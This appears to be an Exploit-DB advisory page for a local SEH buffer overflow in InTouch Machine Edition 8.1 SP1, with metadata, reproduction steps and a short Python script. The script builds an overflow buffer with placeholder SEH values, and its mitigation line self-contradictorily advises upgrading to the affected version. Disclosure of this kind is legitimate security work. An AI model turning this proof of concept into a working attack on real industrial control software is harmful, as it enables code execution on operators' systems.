InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)

vendor:

InTouch Machine Edition

by:

Luis Martinez

7.8

CVSS

HIGH

Local Buffer Overflow (SEH Unicode)

119

CWE

Product Name: InTouch Machine Edition

Affected Version From: 8.1 SP1

Affected Version To: 8.1 SP1

Patch Exists: YES

Related CWE: N/A

CPE: a:wonderware:intouch_machine_edition:8.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 en

2018

InTouch Machine Edition 8.1 SP1 – ‘Nombre del Tag’ Buffer Overflow (SEH)

A local buffer overflow vulnerability exists in InTouch Machine Edition 8.1 SP1 due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by running a specially crafted python code and copying the content to clipboard, then pasting it on 'Nombre del Tag' field. This can result in arbitrary code execution.

Mitigation:

Upgrade to the latest version of InTouch Machine Edition 8.1 SP1.

Source

Exploit-DB raw data:

# Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-10
# Vendor Homepage: https://on.wonderware.com/
# Software Link: https://on.wonderware.com/intouch-machine-edition
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InTouch_Machine_Edition_8.1.py
# 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard
# 3.- Open ITME v8.1 InTouch Machine Edition
# 4.- Inicio
# 5.- Paste ClipBoard on "Nombre del Tag"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InTouch_Machine_Edition_8.1.txt", "w")
f.write(buffer)
f.close()